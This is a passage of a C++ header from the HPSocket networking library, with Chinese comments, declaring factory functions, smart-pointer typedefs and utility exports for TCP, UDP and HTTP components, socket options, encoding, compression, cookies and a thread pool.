CHPObjectPtr& Reset(T* pObj = nullptr)
{
if(pObj != m_pObj)
{
if(m_pObj)
_Creator::Destroy(m_pObj);
m_pObj = pObj;
}
return *this;
}
CHPObjectPtr& Attach(T* pObj)
{
return Reset(pObj);
}
T* Detach()
{
T* pObj = m_pObj;
m_pObj = nullptr;
return pObj;
}
BOOL IsValid () const {return m_pObj != nullptr ;}
T* Get () const {return m_pObj ;}
T* operator -> () const {return m_pObj ;}
operator T* () const {return m_pObj ;}
CHPObjectPtr& operator = (T* pObj) {return Reset(pObj) ;}
public:
CHPObjectPtr(_Listener* pListener = nullptr)
{
m_pObj = _Creator::Create(pListener);
}
CHPObjectPtr(BOOL bCreate, _Listener* pListener = nullptr)
{
m_pObj = bCreate ? _Creator::Create(pListener) : nullptr;
}
virtual ~CHPObjectPtr()
{
Reset();
}
private:
CHPObjectPtr(const CHPObjectPtr&);
CHPObjectPtr& operator = (const CHPObjectPtr&);
protected:
T* m_pObj;
};
/**************************************************/
/**************** HPSocket 导出函数 ****************/
// 创建 ITcpServer 对象
HPSOCKET_API ITcpServer* HP_Create_TcpServer(ITcpServerListener* pListener);
// 创建 ITcpAgent 对象
HPSOCKET_API ITcpAgent* HP_Create_TcpAgent(ITcpAgentListener* pListener);
// 创建 ITcpClient 对象
HPSOCKET_API ITcpClient* HP_Create_TcpClient(ITcpClientListener* pListener);
// 创建 ITcpPullServer 对象
HPSOCKET_API ITcpPullServer* HP_Create_TcpPullServer(ITcpServerListener* pListener);
// 创建 ITcpPullAgent 对象
HPSOCKET_API ITcpPullAgent* HP_Create_TcpPullAgent(ITcpAgentListener* pListener);
// 创建 ITcpPullClient 对象
HPSOCKET_API ITcpPullClient* HP_Create_TcpPullClient(ITcpClientListener* pListener);
// 创建 ITcpPackServer 对象
HPSOCKET_API ITcpPackServer* HP_Create_TcpPackServer(ITcpServerListener* pListener);
// 创建 ITcpPackAgent 对象
HPSOCKET_API ITcpPackAgent* HP_Create_TcpPackAgent(ITcpAgentListener* pListener);
// 创建 ITcpPackClient 对象
HPSOCKET_API ITcpPackClient* HP_Create_TcpPackClient(ITcpClientListener* pListener);
// 销毁 ITcpServer 对象
HPSOCKET_API void HP_Destroy_TcpServer(ITcpServer* pServer);
// 销毁 ITcpAgent 对象
HPSOCKET_API void HP_Destroy_TcpAgent(ITcpAgent* pAgent);
// 销毁 ITcpClient 对象
HPSOCKET_API void HP_Destroy_TcpClient(ITcpClient* pClient);
// 销毁 ITcpPullServer 对象
HPSOCKET_API void HP_Destroy_TcpPullServer(ITcpPullServer* pServer);
// 销毁 ITcpPullAgent 对象
HPSOCKET_API void HP_Destroy_TcpPullAgent(ITcpPullAgent* pAgent);
// 销毁 ITcpPullClient 对象
HPSOCKET_API void HP_Destroy_TcpPullClient(ITcpPullClient* pClient);
// 销毁 ITcpPackServer 对象
HPSOCKET_API void HP_Destroy_TcpPackServer(ITcpPackServer* pServer);
// 销毁 ITcpPackAgent 对象
HPSOCKET_API void HP_Destroy_TcpPackAgent(ITcpPackAgent* pAgent);
// 销毁 ITcpPackClient 对象
HPSOCKET_API void HP_Destroy_TcpPackClient(ITcpPackClient* pClient);
#ifdef _UDP_SUPPORT
// 创建 IUdpServer 对象
HPSOCKET_API IUdpServer* HP_Create_UdpServer(IUdpServerListener* pListener);
// 创建 IUdpClient 对象
HPSOCKET_API IUdpClient* HP_Create_UdpClient(IUdpClientListener* pListener);
// 创建 IUdpCast 对象
HPSOCKET_API IUdpCast* HP_Create_UdpCast(IUdpCastListener* pListener);
// 创建 IUdpNode 对象
HPSOCKET_API IUdpNode* HP_Create_UdpNode(IUdpNodeListener* pListener);
// 创建 IUdpArqServer 对象
HPSOCKET_API IUdpArqServer* HP_Create_UdpArqServer(IUdpServerListener* pListener);
// 创建 IUdpArqClient 对象
HPSOCKET_API IUdpArqClient* HP_Create_UdpArqClient(IUdpClientListener* pListener);
// 销毁 IUdpServer 对象
HPSOCKET_API void HP_Destroy_UdpServer(IUdpServer* pServer);
// 销毁 IUdpClient 对象
HPSOCKET_API void HP_Destroy_UdpClient(IUdpClient* pClient);
// 销毁 IUdpCast 对象
HPSOCKET_API void HP_Destroy_UdpCast(IUdpCast* pCast);
// 销毁 IUdpNode 对象
HPSOCKET_API void HP_Destroy_UdpNode(IUdpNode* pNode);
// 销毁 IUdpArqServer 对象
HPSOCKET_API void HP_Destroy_UdpArqServer(IUdpArqServer* pServer);
// 销毁 IUdpArqClient 对象
HPSOCKET_API void HP_Destroy_UdpArqClient(IUdpArqClient* pClient);
#endif
// ITcpServer 对象创建器
struct TcpServer_Creator
{
static ITcpServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpServer(pListener);
}
static void Destroy(ITcpServer* pServer)
{
HP_Destroy_TcpServer(pServer);
}
};
// ITcpAgent 对象创建器
struct TcpAgent_Creator
{
static ITcpAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpAgent(pListener);
}
static void Destroy(ITcpAgent* pAgent)
{
HP_Destroy_TcpAgent(pAgent);
}
};
// ITcpClient 对象创建器
struct TcpClient_Creator
{
static ITcpClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpClient(pListener);
}
static void Destroy(ITcpClient* pClient)
{
HP_Destroy_TcpClient(pClient);
}
};
// ITcpPullServer 对象创建器
struct TcpPullServer_Creator
{
static ITcpPullServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpPullServer(pListener);
}
static void Destroy(ITcpPullServer* pServer)
{
HP_Destroy_TcpPullServer(pServer);
}
};
// ITcpPullAgent 对象创建器
struct TcpPullAgent_Creator
{
static ITcpPullAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpPullAgent(pListener);
}
static void Destroy(ITcpPullAgent* pAgent)
{
HP_Destroy_TcpPullAgent(pAgent);
}
};
// ITcpPullClient 对象创建器
struct TcpPullClient_Creator
{
static ITcpPullClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpPullClient(pListener);
}
static void Destroy(ITcpPullClient* pClient)
{
HP_Destroy_TcpPullClient(pClient);
}
};
// ITcpPackServer 对象创建器
struct TcpPackServer_Creator
{
static ITcpPackServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpPackServer(pListener);
}
static void Destroy(ITcpPackServer* pServer)
{
HP_Destroy_TcpPackServer(pServer);
}
};
// ITcpPackAgent 对象创建器
struct TcpPackAgent_Creator
{
static ITcpPackAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpPackAgent(pListener);
}
static void Destroy(ITcpPackAgent* pAgent)
{
HP_Destroy_TcpPackAgent(pAgent);
}
};
// ITcpPackClient 对象创建器
struct TcpPackClient_Creator
{
static ITcpPackClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpPackClient(pListener);
}
static void Destroy(ITcpPackClient* pClient)
{
HP_Destroy_TcpPackClient(pClient);
}
};
// ITcpServer 对象智能指针
typedef CHPObjectPtr<ITcpServer, ITcpServerListener, TcpServer_Creator> CTcpServerPtr;
// ITcpAgent 对象智能指针
typedef CHPObjectPtr<ITcpAgent, ITcpAgentListener, TcpAgent_Creator> CTcpAgentPtr;
// ITcpClient 对象智能指针
typedef CHPObjectPtr<ITcpClient, ITcpClientListener, TcpClient_Creator> CTcpClientPtr;
// ITcpPullServer 对象智能指针
typedef CHPObjectPtr<ITcpPullServer, ITcpServerListener, TcpPullServer_Creator> CTcpPullServerPtr;
// ITcpPullAgent 对象智能指针
typedef CHPObjectPtr<ITcpPullAgent, ITcpAgentListener, TcpPullAgent_Creator> CTcpPullAgentPtr;
// ITcpPullClient 对象智能指针
typedef CHPObjectPtr<ITcpPullClient, ITcpClientListener, TcpPullClient_Creator> CTcpPullClientPtr;
// ITcpPackServer 对象智能指针
typedef CHPObjectPtr<ITcpPackServer, ITcpServerListener, TcpPackServer_Creator> CTcpPackServerPtr;
// ITcpPackAgent 对象智能指针
typedef CHPObjectPtr<ITcpPackAgent, ITcpAgentListener, TcpPackAgent_Creator> CTcpPackAgentPtr;
// ITcpPackClient 对象智能指针
typedef CHPObjectPtr<ITcpPackClient, ITcpClientListener, TcpPackClient_Creator> CTcpPackClientPtr;
#ifdef _UDP_SUPPORT
// IUdpServer 对象创建器
struct UdpServer_Creator
{
static IUdpServer* Create(IUdpServerListener* pListener)
{
return HP_Create_UdpServer(pListener);
}
static void Destroy(IUdpServer* pServer)
{
HP_Destroy_UdpServer(pServer);
}
};
// IUdpClient 对象创建器
struct UdpClient_Creator
{
static IUdpClient* Create(IUdpClientListener* pListener)
{
return HP_Create_UdpClient(pListener);
}
static void Destroy(IUdpClient* pClient)
{
HP_Destroy_UdpClient(pClient);
}
};
// IUdpCast 对象创建器
struct UdpCast_Creator
{
static IUdpCast* Create(IUdpCastListener* pListener)
{
return HP_Create_UdpCast(pListener);
}
static void Destroy(IUdpCast* pCast)
{
HP_Destroy_UdpCast(pCast);
}
};
// IUdpNode 对象创建器
struct UdpNode_Creator
{
static IUdpNode* Create(IUdpNodeListener* pListener)
{
return HP_Create_UdpNode(pListener);
}
static void Destroy(IUdpNode* pNode)
{
HP_Destroy_UdpNode(pNode);
}
};
// IUdpArqServer 对象创建器
struct UdpArqServer_Creator
{
static IUdpArqServer* Create(IUdpServerListener* pListener)
{
return HP_Create_UdpArqServer(pListener);
}
static void Destroy(IUdpArqServer* pServer)
{
HP_Destroy_UdpArqServer(pServer);
}
};
// IUdpArqClient 对象创建器
struct UdpArqClient_Creator
{
static IUdpArqClient* Create(IUdpClientListener* pListener)
{
return HP_Create_UdpArqClient(pListener);
}
static void Destroy(IUdpArqClient* pClient)
{
HP_Destroy_UdpArqClient(pClient);
}
};
// IUdpServer 对象智能指针
typedef CHPObjectPtr<IUdpServer, IUdpServerListener, UdpServer_Creator> CUdpServerPtr;
// IUdpClient 对象智能指针
typedef CHPObjectPtr<IUdpClient, IUdpClientListener, UdpClient_Creator> CUdpClientPtr;
// IUdpCast 对象智能指针
typedef CHPObjectPtr<IUdpCast, IUdpCastListener, UdpCast_Creator> CUdpCastPtr;
// IUdpNode 对象智能指针
typedef CHPObjectPtr<IUdpNode, IUdpNodeListener, UdpNode_Creator> CUdpNodePtr;
// IUdpArqServer 对象智能指针
typedef CHPObjectPtr<IUdpArqServer, IUdpServerListener, UdpArqServer_Creator> CUdpArqServerPtr;
// IUdpArqClient 对象智能指针
typedef CHPObjectPtr<IUdpArqClient, IUdpClientListener, UdpArqClient_Creator> CUdpArqClientPtr;
#endif
/*****************************************************************************************************************************************************/
/*************************************************************** Global Function Exports *************************************************************/
/*****************************************************************************************************************************************************/
// 获取 HPSocket 版本号4 个字节分别为:主版本号,子版本号,修正版本号,构建编号)
HPSOCKET_API DWORD HP_GetHPSocketVersion();
// 获取错误描述文本
HPSOCKET_API LPCTSTR HP_GetSocketErrorDesc(EnSocketError enCode);
// 调用系统的 GetLastError() 方法获取系统错误代码
HPSOCKET_API DWORD SYS_GetLastError ();
// 调用系统的 WSAGetLastError() 方法获取系统错误代码
HPSOCKET_API int SYS_WSAGetLastError();
// 调用系统的 setsockopt()
HPSOCKET_API int SYS_SetSocketOption(SOCKET sock, int level, int name, LPVOID val, int len);
// 调用系统的 getsockopt()
HPSOCKET_API int SYS_GetSocketOption(SOCKET sock, int level, int name, LPVOID val, int* len);
// 调用系统的 ioctlsocket()
HPSOCKET_API int SYS_IoctlSocket(SOCKET sock, long cmd, ULONG* arg);
// 调用系统的 WSAIoctl()
HPSOCKET_API int SYS_WSAIoctl(SOCKET sock, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned);
// 设置 socket 选项IPPROTO_TCP -> TCP_NODELAY
HPSOCKET_API int SYS_SSO_NoDelay(SOCKET sock, BOOL bNoDelay);
// 设置 socket 选项SOL_SOCKET -> SO_DONTLINGER
HPSOCKET_API int SYS_SSO_DontLinger(SOCKET sock, BOOL bDont);
// 设置 socket 选项SOL_SOCKET -> SO_LINGER
HPSOCKET_API int SYS_SSO_Linger(SOCKET sock, USHORT l_onoff, USHORT l_linger);
// 设置 socket 选项SOL_SOCKET -> SO_RCVBUF
HPSOCKET_API int SYS_SSO_RecvBuffSize(SOCKET sock, int size);
// 设置 socket 选项SOL_SOCKET -> SO_SNDBUF
HPSOCKET_API int SYS_SSO_SendBuffSize(SOCKET sock, int size);
// 设置 socket 选项SOL_SOCKET -> SO_RCVTIMEO
HPSOCKET_API int SYS_SSO_RecvTimeOut(SOCKET sock, int ms);
// 设置 socket 选项SOL_SOCKET -> SO_SNDTIMEO
HPSOCKET_API int SYS_SSO_SendTimeOut(SOCKET sock, int ms);
// 设置 socket 选项SOL_SOCKET -> SO_EXCLUSIVEADDRUSE / SO_REUSEADDR
HPSOCKET_API int SYS_SSO_ReuseAddress(SOCKET sock, EnReuseAddressPolicy opt);
// 设置 socket 选项SOL_SOCKET -> SO_EXCLUSIVEADDRUSE
HPSOCKET_API int SYS_SSO_ExclusiveAddressUse(SOCKET sock, BOOL bExclusive);
// 获取 SOCKET 本地地址信息
HPSOCKET_API BOOL SYS_GetSocketLocalAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort);
// 获取 SOCKET 远程地址信息
HPSOCKET_API BOOL SYS_GetSocketRemoteAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort);
/* 枚举主机 IP 地址 */
HPSOCKET_API BOOL SYS_EnumHostIPAddresses(LPCTSTR lpszHost, EnIPAddrType enType, LPTIPAddr** lpppIPAddr, int& iIPAddrCount);
/* 释放 LPTIPAddr* */
HPSOCKET_API BOOL SYS_FreeHostIPAddresses(LPTIPAddr* lppIPAddr);
/* 检查字符串是否符合 IP 地址格式 */
HPSOCKET_API BOOL SYS_IsIPAddress(LPCTSTR lpszAddress, EnIPAddrType* penType = nullptr);
/* 通过主机名获取 IP 地址 */
HPSOCKET_API BOOL SYS_GetIPAddress(LPCTSTR lpszHost, TCHAR lpszIP[], int& iIPLenth, EnIPAddrType& enType);
/* 64 位网络字节序转主机字节序 */
HPSOCKET_API ULONGLONG SYS_NToH64(ULONGLONG value);
/* 64 位主机字节序转网络字节序 */
HPSOCKET_API ULONGLONG SYS_HToN64(ULONGLONG value);
/* 短整型高低字节交换 */
HPSOCKET_API USHORT SYS_SwapEndian16(USHORT value);
/* 长整型高低字节交换 */
HPSOCKET_API DWORD SYS_SwapEndian32(DWORD value);
/* 检查是否小端字节序 */
HPSOCKET_API BOOL SYS_IsLittleEndian();
/* 分配内存 */
HPSOCKET_API LPBYTE SYS_Malloc(int size);
/* 重新分配内存 */
HPSOCKET_API LPBYTE SYS_Realloc(LPBYTE p, int size);
/* 释放内存 */
HPSOCKET_API VOID SYS_Free(LPBYTE p);
/* 分配内存块 */
HPSOCKET_API LPVOID SYS_Calloc(int number, int size);
// CP_XXX -> UNICODE
HPSOCKET_API BOOL SYS_CodePageToUnicodeEx(int iCodePage, const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> CP_XXX
HPSOCKET_API BOOL SYS_UnicodeToCodePageEx(int iCodePage, const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// GBK -> UNICODE
HPSOCKET_API BOOL SYS_GbkToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> GBK
HPSOCKET_API BOOL SYS_UnicodeToGbkEx(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// UTF8 -> UNICODE
HPSOCKET_API BOOL SYS_Utf8ToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> UTF8
HPSOCKET_API BOOL SYS_UnicodeToUtf8Ex(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// GBK -> UTF8
HPSOCKET_API BOOL SYS_GbkToUtf8Ex(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// UTF8 -> GBK
HPSOCKET_API BOOL SYS_Utf8ToGbkEx(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// CP_XXX -> UNICODE
HPSOCKET_API BOOL SYS_CodePageToUnicode(int iCodePage, const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> CP_XXX
HPSOCKET_API BOOL SYS_UnicodeToCodePage(int iCodePage, const WCHAR szSrc[], char szDest[], int& iDestLength);
// GBK -> UNICODE
HPSOCKET_API BOOL SYS_GbkToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> GBK
HPSOCKET_API BOOL SYS_UnicodeToGbk(const WCHAR szSrc[], char szDest[], int& iDestLength);
// UTF8 -> UNICODE
HPSOCKET_API BOOL SYS_Utf8ToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> UTF8
HPSOCKET_API BOOL SYS_UnicodeToUtf8(const WCHAR szSrc[], char szDest[], int& iDestLength);
// GBK -> UTF8
HPSOCKET_API BOOL SYS_GbkToUtf8(const char szSrc[], char szDest[], int& iDestLength);
// UTF8 -> GBK
HPSOCKET_API BOOL SYS_Utf8ToGbk(const char szSrc[], char szDest[], int& iDestLength);
// 计算 Base64 编码后长度
HPSOCKET_API DWORD SYS_GuessBase64EncodeBound(DWORD dwSrcLen);
// 计算 Base64 解码后长度
HPSOCKET_API DWORD SYS_GuessBase64DecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// Base64 编码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_Base64Encode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Base64 解码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_Base64Decode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 计算 URL 编码后长度
HPSOCKET_API DWORD SYS_GuessUrlEncodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// 计算 URL 解码后长度
HPSOCKET_API DWORD SYS_GuessUrlDecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// URL 编码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_UrlEncode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// URL 解码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_UrlDecode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
#ifdef _ZLIB_SUPPORT
// 普通压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
// 默认参数iLevel -> -1iMethod -> 8iWindowBits -> 15iMemLevel -> 8iStrategy -> 0
HPSOCKET_API int SYS_Compress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 高级压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iLevel -> -1iMethod -> 8iWindowBits -> 15iMemLevel -> 8iStrategy -> 0
HPSOCKET_API int SYS_CompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iLevel = -1, int iMethod = 8, int iWindowBits = 15, int iMemLevel = 8, int iStrategy = 0);
// 普通解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iWindowBits -> 15
HPSOCKET_API int SYS_Uncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 高级解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iWindowBits -> 15
HPSOCKET_API int SYS_UncompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iWindowBits = 15);
// 推测压缩结果长度
HPSOCKET_API DWORD SYS_GuessCompressBound(DWORD dwSrcLen, BOOL bGZip = FALSE);
// Gzip 压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_GZipCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Gzip 解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_GZipUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 推测 Gzip 解压结果长度(如果返回 0 或不合理值则说明输入内容并非有效的 Gzip 格式)
HPSOCKET_API DWORD SYS_GZipGuessUncompressBound(const BYTE* lpszSrc, DWORD dwSrcLen);
#endif
#ifdef _BROTLI_SUPPORT
// Brotli 压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
// 默认参数iQuality -> 11iWindow -> 22iMode -> 0
HPSOCKET_API int SYS_BrotliCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Brotli 高级压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iQuality -> 11iWindow -> 22iMode -> 0
HPSOCKET_API int SYS_BrotliCompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iQuality = 11, int iWindow = 22, int iMode = 0);
// Brotli 解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_BrotliUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Brotli 推测压缩结果长度
HPSOCKET_API DWORD SYS_BrotliGuessCompressBound(DWORD dwSrcLen);
#endif
/*****************************************************************************************************************************************************/
/******************************************************************** HTTP Exports *******************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _HTTP_SUPPORT
// 创建 IHttpServer 对象
HPSOCKET_API IHttpServer* HP_Create_HttpServer(IHttpServerListener* pListener);
// 创建 IHttpAgent 对象
HPSOCKET_API IHttpAgent* HP_Create_HttpAgent(IHttpAgentListener* pListener);
// 创建 IHttpClient 对象
HPSOCKET_API IHttpClient* HP_Create_HttpClient(IHttpClientListener* pListener);
// 创建 IHttpSyncClient 对象
HPSOCKET_API IHttpSyncClient* HP_Create_HttpSyncClient(IHttpClientListener* pListener = nullptr);
// 销毁 IHttpServer 对象
HPSOCKET_API void HP_Destroy_HttpServer(IHttpServer* pServer);
// 销毁 IHttpAgent 对象
HPSOCKET_API void HP_Destroy_HttpAgent(IHttpAgent* pAgent);
// 销毁 IHttpClient 对象
HPSOCKET_API void HP_Destroy_HttpClient(IHttpClient* pClient);
// 销毁 IHttpSyncClient 对象
HPSOCKET_API void HP_Destroy_HttpSyncClient(IHttpSyncClient* pClient);
// IHttpServer 对象创建器
struct HttpServer_Creator
{
static IHttpServer* Create(IHttpServerListener* pListener)
{
return HP_Create_HttpServer(pListener);
}
static void Destroy(IHttpServer* pServer)
{
HP_Destroy_HttpServer(pServer);
}
};
// IHttpAgent 对象创建器
struct HttpAgent_Creator
{
static IHttpAgent* Create(IHttpAgentListener* pListener)
{
return HP_Create_HttpAgent(pListener);
}
static void Destroy(IHttpAgent* pAgent)
{
HP_Destroy_HttpAgent(pAgent);
}
};
// IHttpClient 对象创建器
struct HttpClient_Creator
{
static IHttpClient* Create(IHttpClientListener* pListener)
{
return HP_Create_HttpClient(pListener);
}
static void Destroy(IHttpClient* pClient)
{
HP_Destroy_HttpClient(pClient);
}
};
// IHttpSyncClient 对象创建器
struct HttpSyncClient_Creator
{
static IHttpSyncClient* Create(IHttpClientListener* pListener = nullptr)
{
return HP_Create_HttpSyncClient(pListener);
}
static void Destroy(IHttpSyncClient* pClient)
{
HP_Destroy_HttpSyncClient(pClient);
}
};
// IHttpServer 对象智能指针
typedef CHPObjectPtr<IHttpServer, IHttpServerListener, HttpServer_Creator> CHttpServerPtr;
// IHttpAgent 对象智能指针
typedef CHPObjectPtr<IHttpAgent, IHttpAgentListener, HttpAgent_Creator> CHttpAgentPtr;
// IHttpClient 对象智能指针
typedef CHPObjectPtr<IHttpClient, IHttpClientListener, HttpClient_Creator> CHttpClientPtr;
// IHttpSyncClient 对象智能指针
typedef CHPObjectPtr<IHttpSyncClient, IHttpClientListener, HttpSyncClient_Creator> CHttpSyncClientPtr;
/**************************************************************************/
/*************************** HTTP Cookie 管理方法 **************************/
/* 从文件加载 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_LoadFromFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE);
/* 保存 Cookie 到文件 */
HPSOCKET_API BOOL HP_HttpCookie_MGR_SaveToFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE);
/* 清理 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_ClearCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr);
/* 清理过期 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_RemoveExpiredCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr);
/* 设置 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_SetCookie(LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge = -1, BOOL bHttpOnly = FALSE, BOOL bSecure = FALSE, int enSameSite = 0, BOOL bOnlyUpdateValueIfExists = TRUE);
/* 删除 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_DeleteCookie(LPCSTR lpszDomain, LPCSTR lpszPath, LPCSTR lpszName);
/* 设置是否允许第三方 Cookie */
HPSOCKET_API void HP_HttpCookie_MGR_SetEnableThirdPartyCookie(BOOL bEnableThirdPartyCookie = TRUE);
/* 检查是否允许第三方 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_IsEnableThirdPartyCookie();
/* Cookie expires 字符串转换为整数 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_ParseExpires(LPCSTR lpszExpires, __time64_t& tmExpires);
/* 整数转换为 Cookie expires 字符串 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_MakeExpiresStr(char lpszBuff[], int& iBuffLen, __time64_t tmExpires);
/* 生成 Cookie 字符串 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_ToString(char lpszBuff[], int& iBuffLen, LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge /*= -1*/, BOOL bHttpOnly /*= FALSE*/, BOOL bSecure /*= FALSE*/, int enSameSite /*= 0*/);
/* 获取当前 UTC 时间 */
HPSOCKET_API __time64_t HP_HttpCookie_HLP_CurrentUTCTime();
/* Max-Age -> expires */
HPSOCKET_API __time64_t HP_HttpCookie_HLP_MaxAgeToExpires(int iMaxAge);
/* expires -> Max-Age */
HPSOCKET_API int HP_HttpCookie_HLP_ExpiresToMaxAge(__time64_t tmExpires);
/*****************************************************************************************************************************************************/
/************************************************************* HTTP Global Function Exports **********************************************************/
/*****************************************************************************************************************************************************/
#endif
/*****************************************************************************************************************************************************/
/**************************************************************** Thread Pool Exports ****************************************************************/
/*****************************************************************************************************************************************************/
// 创建 IHPThreadPool 对象
HPSOCKET_API IHPThreadPool* HP_Create_ThreadPool(IHPThreadPoolListener* pListener = nullptr);
// 销毁 IHPThreadPool 对象
HPSOCKET_API void HP_Destroy_ThreadPool(IHPThreadPool* pThreadPool);
/*
* 名称:创建 TSocketTask 对象
* 描述:创建任务对象,该对象最终需由 HP_Destroy_SocketTaskObj() 销毁
*
* 参数: fnTaskProc -- 任务处理函数
* pSender -- 发起对象
* dwConnID -- 连接 ID
* pBuffer -- 数据缓冲区
* iBuffLen -- 数据缓冲区长度
* enBuffType -- 数据缓冲区类型默认TBT_COPY
* TBT_COPY 深拷贝pBuffer 复制到 TSocketTask 对象。此后 TSocketTask 对象与 pBuffer 不再有任何关联
* -> 适用于 pBuffer 不大或 pBuffer 生命周期不受控的场景
* TBT_REFER 浅拷贝pBuffer 不复制到 TSocketTask 对象,需确保 TSocketTask 对象生命周期内 pBuffer 必须有效
* -> 适用于 pBuffer 较大或 pBuffer 可重用,并且 pBuffer 生命周期受控的场景
* TBT_ATTACH :(附属)执行浅拷贝,但 TSocketTask 对象会获得 pBuffer 的所有权,并负责释放 pBuffer避免多次缓冲区拷贝
* -> 注意pBuffer 必须由 SYS_Malloc()/SYS_Calloc() 函数分配才能使用本类型,否则可能会发生内存访问错误
* wParam -- 自定义参数
* lParam -- 自定义参数
* 返回值: LPTSocketTask
*/
HPSOCKET_API LPTSocketTask HP_Create_SocketTaskObj(Fn_SocketTaskProc fnTaskProc, PVOID pSender, CONNID dwConnID, LPCBYTE pBuffer, INT iBuffLen, EnTaskBufferType enBuffType = TBT_COPY, WPARAM wParam = 0, LPARAM lParam = 0);
// 销毁 TSocketTask 对象
HPSOCKET_API void HP_Destroy_SocketTaskObj(LPTSocketTask pTask);
// IHPThreadPool 对象创建器
struct HPThreadPool_Creator
{
static IHPThreadPool* Create(IHPThreadPoolListener* pListener = nullptr)
{
return HP_Create_ThreadPool(pListener);
}
static void Destroy(IHPThreadPool* pThreadPool)
{
HP_Destroy_ThreadPool(pThreadPool);
}
};
// IHPThreadPool 对象智能指针
typedef CHPObjectPtr<IHPThreadPool, IHPThreadPoolListener, HPThreadPool_Creator> CHPThreadPoolPtr;
/*****************************************************************************************************************************************************/
/********************************************************* Compressor / Decompressor Exports *********************************************************/
/*****************************************************************************************************************************************************/
/* 销毁压缩器对象 */
